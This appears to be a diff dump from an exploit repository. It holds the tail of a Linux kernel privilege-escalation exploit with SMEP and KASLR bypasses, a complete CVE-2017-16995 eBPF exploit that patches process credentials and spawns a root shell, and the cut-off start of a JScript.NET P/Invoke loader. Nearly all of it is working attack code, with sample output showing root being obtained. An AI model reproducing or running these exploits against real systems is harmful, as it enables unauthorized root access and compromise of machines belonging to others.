if (stack == MAP_FAILED || stack != (void*)stack_addr) {
dprintf("[-] mmap()\n");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
dprintf("[-] socket()\n");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
dprintf("[-] connect()\n");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
dprintf("[-] send()\n");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
char* path = "/etc/lsb-release";
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= max_length) {
exit(EXIT_FAILURE);
}
if ((found - &buffer[0]) + needle_length + i >= length) {
exit(EXIT_FAILURE);
}
output[i] = found[needle_length + i];
}
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
void detect_kernel() {
char codename[DISTRO_CODENAME_LENGTH];
struct utsname u;
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "14.04.1")) {
strcpy(&codename[0], "trusty");
} else if (strstr(u.version, "16.04.1")) {
strcpy(&codename[0], "xenial");
} else {
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
// Linux Mint kernel release mappings
if (!strcmp(&codename[0], "qiana"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rebecca"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rafaela"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rosa"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "sarah"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "serena"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "sonya"))
strcpy(&codename[0], "xenial");
}
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(u.release, kernels[i].version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strcmp("trusty", kernels[kernel].distro) == 0)
addr = get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0)
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[!] unprivileged user namespaces are not available\n");
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
dprintf("[-] write_file(/proc/self/set_groups)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
dprintf("[-] write_file(/proc/self/uid_map)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
dprintf("[-] write_file(/proc/self/gid_map)\n");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
dprintf("[-] sched_setaffinity()\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
dprintf("[-] system(/sbin/ifconfig lo up)\n");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
int fd;
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd == -1) {
dprintf("error opening /proc/1/ns/net\n");
exit(EXIT_FAILURE);
}
if (setns(fd, CLONE_NEWNET) == -1) {
dprintf("error calling setns\n");
exit(EXIT_FAILURE);
}
system(SHELL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
dprintf("[.] checking if we got root\n");
if (!is_root()) {
dprintf("[-] something went wrong =(\n");
return;
}
dprintf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
if (argc > 1) SHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] checking kernel version\n");
detect_kernel();
dprintf("[~] done, version looks good\n");
dprintf("[.] checking SMEP and SMAP\n");
check_smep_smap();
dprintf("[~] done, looks good\n");
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
dprintf("[~] done, fake stack mmapped\n");
#endif
dprintf("[.] executing payload %lx\n", payload);
oob_execute(payload);
dprintf("[~] done, should be root now\n");
check_root();
return 0;
}

Binary file not shown.

View File

@ -0,0 +1,496 @@
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,76 @@
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
function InvokeWin32(dllName:String, returnType:Type,
methodName:String, parameterTypes:Type[], parameters:Object[])
{
// Begin to build the dynamic assembly
var domain = AppDomain.CurrentDomain;
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
var module = assembly.DefineDynamicModule('PInvokeModule');
